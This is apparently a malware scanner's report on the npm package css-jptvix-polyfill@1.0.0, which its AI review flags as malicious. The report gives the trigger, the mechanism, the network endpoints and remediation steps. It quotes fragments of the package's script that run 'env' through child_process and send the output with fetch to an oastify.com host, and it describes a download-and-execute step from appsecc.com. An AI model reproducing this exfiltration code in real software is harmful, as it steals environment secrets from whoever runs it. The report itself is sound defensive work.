registry / Remote code execution / css-jptvix-polyfill
css-jptvix-polyfill
CSS polyfill utility
This report shows the evidence for css-jptvix-polyfill@1.0.0, the only known version.
AI Security Review
scanned 17d ago · by lpm-firewall-aiInspected source contains concrete exfiltration and remote code execution unrelated to CSS polyfill functionality. The registry manifest provides a loading path to this active payload.
Static reason
One or more suspicious static signals were detected.
Trigger
Loading thunderboltRegistry.js in a Node-capable environment.
Impact
Environment variables and system information can leave the host, and remote code can execute with the consumer process's permissions.
Mechanism
An immediately invoked function runs shell commands, sends their output through fetch, and downloads remote JavaScript for execution through Node.
Attack narrative
A consumer loading the registry script activates its immediate function. Where child_process is available, it gathers identity, environment and network information and attempts to transmit the results to an external endpoint. It also attempts to download and execute remote JavaScript. The empty default entrypoint limits activation but does not neutralize the executable registry payload.
AI rationale
Inspected source contains concrete exfiltration and remote code execution unrelated to CSS polyfill functionality. The registry manifest provides a loading path to this active payload.
Evidence
thunderboltRegistry.jsregistry-manifest.min.json
Network endpoints3
orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com/appsecc.com/jsstatic.parastorage.com/unpkg/css-jptvix-polyfill@1.0.0/thunderboltRegistry.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- thunderboltRegistry.js immediately collects environment variables through a shell command and forwards the output.
- The script sends collected data and the hostname to an external tracking endpoint.
- The script downloads JavaScript from https://appsecc.com/js and pipes it directly to Node for execution.
- registry-manifest.min.json directs registry consumers to thunderboltRegistry.js.
Evidence against
- There are no install lifecycle hooks, and index.js exports an empty object; loading the registry script is required to activate the attack.
Behavioral surface
ChildProcessNetworkShell
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "https://[redacted].oastify.com/";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L1035var uname = cp.execSync("env", {encoding: "utf8", timeout: 5000}).trim();
exfil("cmd=env&out=" + encodeURIComponent(uname));
} catch(e) {}
try {
var ifc = cp.e
High
Ai Review Evidence
thunderboltRegistry.js immediately collects environment variables through a shell command and forwards the output.
thunderboltRegistry.jsView on unpkg · L3511var wh = "https://[redacted].oastify.com/";
var site = "unknown";
try { site = require("os").hostname(); } catch(e) {}
var exfil = function(params) {
try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}
};
var cp = null;
try { cp = require("child_pr
Findings
5 High2 Medium2 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to css-jptvix-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-jptvix-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
